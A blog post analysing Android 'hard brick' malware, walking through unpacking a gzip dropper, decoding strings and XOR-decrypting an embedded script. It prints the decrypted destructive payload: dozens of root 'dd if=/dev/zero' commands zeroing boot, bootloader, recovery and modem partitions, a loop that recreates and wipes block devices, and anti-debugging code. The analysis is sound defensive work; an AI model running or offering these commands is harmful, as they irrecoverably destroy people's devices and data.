Back to Blog

Reverse Engineering Android Hard Brick Malware

Published on December 15, 2024

Yesterday, someone in my Telegram group reported losing their phone to a shell script that allegedly wipes all partitions, making the device unbootable and, in some cases, irrecoverable. This caught my interest because such scripts are not new; there have even been Magisk modules distributed in the past that perform the same actions, although they don't attempt to hide the malicious code.

Interested in learning more, I downloaded the script and opened it in Visual Studio Code. The script consisted of two main parts:

  • A Gzip-compressed file.
  • The decompression code.

Initially, I tried to manually extract the compressed file using a hex editor, removing the shell script portion and isolating the Gzip file. However, when I attempted to decompress it on my Linux virtual machine, Gzip reported an error.

Since this approach didn't work, I decided to analyze the script at runtime. I modified the shell script to prevent it from deleting the decompressed file after execution and ensured that it wouldn't execute the malicious payload. This allowed me to dump the decompressed file for further inspection.

Here's the modified script with unnecessary parts removed:


gztmpdir=
test -z "$TMPDIR" && TMPDIR=`pwd`/
gztmpdir=${TMPDIR}gztmp$$; mkdir $gztmpdir
gztmp=$gztmpdir/$0

case $0 in
-* | */*'
') mkdir -p "$gztmp";;
*/*) gztmp=$gztmpdir/`basename "$0"`;;
esac || { (exit 127); exit 127; }

case `printf 'X\n' | tail -n +1 2>/dev/null` in
X) tail_n=-n;;
*) tail_n=;;
esac

if tail $tail_n +$skip <"$0" | gzip -d > "$gztmp"; then
  umask $umask
  chmod 700 "$gztmp"
  (sleep 5; ) 2>/dev/null &
  echo $gztmp
else
  printf >&2 '%s\n' "Cannot decompress $0"
  (exit 127); res=127
fi; exit $res
[gzip data]
                        

Running the modified script in my emulator produced a file located at /data/local/tmpgztmp6535/keybox.sh. Using the file utility on this file revealed that it was an ELF64 executable. This caught me by surprise, as I initially expected it to be just another shell script performing all the malicious actions.

To analyze the binary, I loaded it into IDA Pro. I quickly discovered that it included an anti-debugging mechanism and encoded its strings as hexadecimal values, making them unreadable at first glance.

To decode these strings and make them human-readable, I wrote a Python script to convert them back from hexadecimal.


import binascii
import sys

def parse_and_print(hex_string):
    byte_array = binascii.unhexlify(hex_string)
    
    print(f"Parsed result: {byte_array.decode(errors='ignore')}")
    print("Hex bytes:", " ".join(f"{byte:02x}" for byte in byte_array))  

def main():
    if len(sys.argv) < 2:
        print("Usage: python script.py ")
        return

    hex_string = sys.argv[1]
    parse_and_print(hex_string)

if __name__ == "__main__":
    main()
                        

After recovering all the strings and cleaning up the code, I was able to identify the entry point of the binary:


int __fastcall main(int argc, const char **argv, const char **envp) {
    pthread_t new_thread;
    int arg = argc;
    void *thread_result = NULL;
    char error_buffer[22];

    // Anti debug
    if (ptrace(PTRACE_TRACEME, 0, 0, 0)) {
        fprintf(stderr, "Ptrace failed: Process may be traced\n");
        return 1;
    }

    if (pthread_create(&new_thread, NULL, (void *(*)(void *))main_thread, &arg)) {
        strncpy(error_buffer, "Failed to create debugger", sizeof(error_buffer) - 1);
        error_buffer[sizeof(error_buffer) - 1] = '\0';
        fprintf(stderr, "%s\n", error_buffer);

        return 1;
    }

    if (pthread_join(new_thread, &thread_result)) {
        strncpy(error_buffer, "Attaching debugger failed", sizeof(error_buffer) - 1);
        error_buffer[sizeof(error_buffer) - 1] = '\0';
        fprintf(stderr, "%s\n", error_buffer);

        return 1;
    }

    return (int)(intptr_t)thread_result;
}
                        

There wasn't anything too complex here—just a simple anti-debugging mechanism and the code to start the main_thread, which in turn calls a method I named malware_unpack_main. This method is quite large, so I won't go into all the details. Essentially, its primary purpose is to prevent process monitoring tools and other debugging utilities from functioning effectively.


... // Removed code for simplicity
                        
// Disable core dumps
struct rlimit core_limits = {0, 0};
if (setrlimit(RLIMIT_CORE, &core_limits)) {
    strcpy(error_message, "Failed to set core dump limits");
    printf("%s\n", error_message);
    free(error_message);
    return 1;
}

... // Removed code for simplicity

// check if we run as root
if (getuid() | geteuid())
{
    pid_t v41 = fork();
    if (v41 < 0)
    {
        printf("%s", "Failed to create child process");
        return 1;
    }
    
    if (!v41)
    {
        v46 = *a2; // probably "su"
        char *v49 = (char *)malloc(0x5BuLL);

        // I don't really know what this is supposed to do
        strcpy(v49, "t=$(date +%s) ;until [ $(($(date +%s) - $t)) -gt 1 ] ;do grep -Eq /proc/[0-9].*/fd/[0-9].* /proc/*/cmdline && echo -n 'Disable viewing of descriptors' && kill -4 -1 ;done 2>/dev/null");
        
        execlp(v23, v46, "-c", "--", v49, 0LL);
    }
}
else
{
    __pid_t v43 = getppid();
    __pid_t v44 = getpid();
    
    sprintf(v55, "/proc/%d", v43);
    sprintf(v54, "/proc/%d", v44);
    
    mount(v55, v54, 0LL, 0x5000uLL, 0LL);
}
                        

After these initial checks, the interesting part begins. It took me quite some time to figure out exactly what was happening here:


if (pipe((int *)&v55) == -1)
{
    strcpy(v50, "Failed to create pipeline");
}
else
{
    __pid_t v51 = fork();
    if (v51)
    {
        if (v51 == -1)
        {
            strcpy(v50, "Failed to create child process");
        }
        else
        {
            close((int)v55);
            xor_and_write_hex((int)&input_data, 0x10A9, (int)&key_data, 0x10A9, SHIDWORD(v55));
            close(SHIDWORD(v55));

            if (waitpid(v51, (int *)&v54, 0) != -1)
            {
                if (((unsigned __int8)v54 & 0x7F) == 0)
                    exit(BYTE1(v54));
                exit(1);
            }
            strcpy(v50, "Failed to obtain child process status");
        }
    }
    else
    {
        close(SHIDWORD(v55));
        dup2((int)v55, 0);
        close((int)v55);
        execlp(v23, *a2, 0LL);
        strcpy(v50, "Failed to execute SHELL interpreter");
    }
}
                        

What's happening here is that the binary contains an XOR-encrypted script embedded at input_data. I dumped both the input_data and key_data into two separate binary files and then wrote another Python script to decrypt them and output the result:


def xor_decrypt(input_file, key_file, output_file):
    try:
        with open(input_file, 'rb') as infile, open(key_file, 'rb') as keyfile, open(output_file, 'wb') as outfile:
            input_data = infile.read()
            key_data = keyfile.read()
            key_size = len(key_data)

            if key_size == 0:
                raise ValueError("The key file is empty.")

            # Decrypt the data
            decrypted_data = bytearray()
            for i in range(len(input_data)):
                decrypted_byte = input_data[i] ^ key_data[i % key_size]
                decrypted_data.append(decrypted_byte)

            outfile.write(decrypted_data)

        print(f"Decryption complete. Output written to {output_file}")
    except FileNotFoundError as e:
        print(f"Error: {e}")
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    import sys
    
    if len(sys.argv) != 4:
        print("Usage: python xor_decrypt.py   ")
        sys.exit(1)

    input_file = sys.argv[1]
    key_file = sys.argv[2]
    output_file = sys.argv[3]

    xor_decrypt(input_file, key_file, output_file)
                        

And there it was—I successfully dumped the embedded script. At first glance, it was immediately clear that this script was malicious.


...
# #boot/ramdisk recovery
su -c dd if=/dev/zero of=/dev/block/by-name/boot
su -c dd if=/dev/zero of=/dev/block/by-name/boot_a
su -c dd if=/dev/zero of=/dev/block/by-name/boot_b
# 
# #modem
su -c dd if=/dev/zero of=/dev/block/by-name/fsc
su -c dd if=/dev/zero of=/dev/block/by-name/fsg 
su -c dd if=/dev/zero of=/dev/block/by-name/mdm1m9kefs1
...
                        

To summarize everything, this script performs the following actions:
1. Checks if the environment has been tampered with.


Check_instruction_set() {
    for i in $(echo $PATH | sed 's/:/\/* /g ;s/$/\/*/g')
    do
        case $i in
            */coreutils|*/toybox|*/busybox)
                while IFS= read -r s
                do
                    case $s in
                        *--version*)
                            return 0
                        ;;
                    esac
                done < $i
            ;;
        esac
    done
    return 1
}

! Check_instruction_set && echo The instruction set program has been tampered with && exit 1
                        

2. Wipe all partitions on the device, making it unbootable.


#!/system/bin/sh
#!/bin/bash
clear
su -c dd if=/dev/zero of=/dev/block/by-name/abl
su -c dd if=/dev/zero of=/dev/block/by-name/abl_a
su -c dd if=/dev/zero of=/dev/block/by-name/abl_b

# #recovery
su -c dd if=/dev/zero of=/dev/block/by-name/recovery
su -c dd if=/dev/zero of=/dev/block/by-name/recovery_a
su -c dd if=/dev/zero of=/dev/block/by-name/recovery_b

# #boot/ramdisk recovery
su -c dd if=/dev/zero of=/dev/block/by-name/boot
su -c dd if=/dev/zero of=/dev/block/by-name/boot_a
su -c dd if=/dev/zero of=/dev/block/by-name/boot_b

# #modem
su -c dd if=/dev/zero of=/dev/block/by-name/fsc
su -c dd if=/dev/zero of=/dev/block/by-name/fsg
su -c dd if=/dev/zero of=/dev/block/by-name/mdm1m9kefs1
su -c dd if=/dev/zero of=/dev/block/by-name/mdm1m9kefs2
su -c dd if=/dev/zero of=/dev/block/by-name/mdm1m9kefs3
su -c dd if=/dev/zero of=/dev/block/by-name/mdm1m9kefsc
su -c dd if=/dev/zero of=/dev/block/by-name/modem
su -c dd if=/dev/zero of=/dev/block/by-name/modemst1
su -c dd if=/dev/zero of=/dev/block/by-name/modemst2

# #xbl load tee and fastboot
su -c dd if=/dev/zero of=/dev/block/by-name/xbl
su -c dd if=/dev/zero of=/dev/block/by-name/xbl_a
su -c dd if=/dev/zero of=/dev/block/by-name/xbl_b
su -c dd if=/dev/zero of=/dev/block/by-name/xbl_config
su -c dd if=/dev/zero of=/dev/block/by-name/xbl_config_a
su -c dd if=/dev/zero of=/dev/block/by-name/xbl_config_b
                        

3. Do other malicious things.


rm -f /dev/input/*
umount -f /proc/partitions
tail -n +2 /proc/partitions | grep -E sd*\|mmcblk* | while IFS= read -r a

do
    d=`echo $a | awk '{print $3}'`
    [ ${#d} -gt 6 ] || [ $d -gt 307200 ] && continue
    {
        b=/dev/block/`echo $a | awk '{print $4}'`
        umount -f $b
        
        rm -f $b
        mknod $b b `echo $a | awk '{print $1}'` `echo $a | awk '{print $2}'`
        blockdev --setrw $b

        chmod 0600 $b
        dd if=/dev/zero of=$b
    } &
done

reboot -p
                        

This third part is more complex, so let me break it down:
1. Deletes all input device files (`/dev/input/*`), effectively disabling user interaction.
2. Iterates over storage partitions listed in `/proc/partitions` (e.g., SD cards, MMC devices).

  • Unmounts the partition.
  • Deletes its device node.
  • Recreates the device node using `mknod`.
  • Sets the device to read-write mode with `blockdev --setrw`.
  • Overwrites the entire partition with zeros (`dd if=/dev/zero of=$b`), completely destroying all data.

3. Reboots the device, leaving the user unable to take further action.

And that's it—this is the full process of what this malware does, along with my steps to reverse-engineer it.

Let this be another reminder to NEVER run any scripts you don't fully understand as root—or better yet, don't run them at all unless you can verify their safety.

I'm still new to writing blog posts, so I hope you'll forgive anything that isn't quite perfect. That said, I hope you enjoyed reading this as much as I enjoyed writing it! :)